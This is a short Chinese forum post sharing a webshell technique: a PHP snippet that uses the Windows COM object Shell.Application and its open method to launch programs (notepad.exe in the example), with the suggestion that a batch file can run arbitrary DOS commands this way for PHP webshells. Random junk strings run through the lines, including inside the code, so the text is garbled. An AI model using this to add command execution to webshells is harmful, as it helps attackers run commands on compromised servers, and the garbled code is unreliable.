关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
/ w# q1 W n+ u. Y$ }2 C' T9 c" z: q# Q* a, l: J8 t
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
9 e8 I% v% F2 P, g% x, J: x( |. ]. y/ [# }. ]% C. O5 D
<?php" ^( X/ v/ {+ v" k& v; {8 H1 V
$wsh = new COM('Shell.Application') or die("Shell.Application");
) O _' d' N8 g1 L8 p/ |8 Q# }& b $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");# m! q# f' H6 Z; p6 S
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
0 \( ~/ w7 p# U h% |# ~1 @9 U, T?>
. b. M3 i4 c' s2 s( p( g" p* U- @4 H; v2 c5 b- I* P; i! a8 G' Z
xp+APMServ5.2.0测试通过。
) r0 I* a" Q5 {- R+ f5 R. G7 w |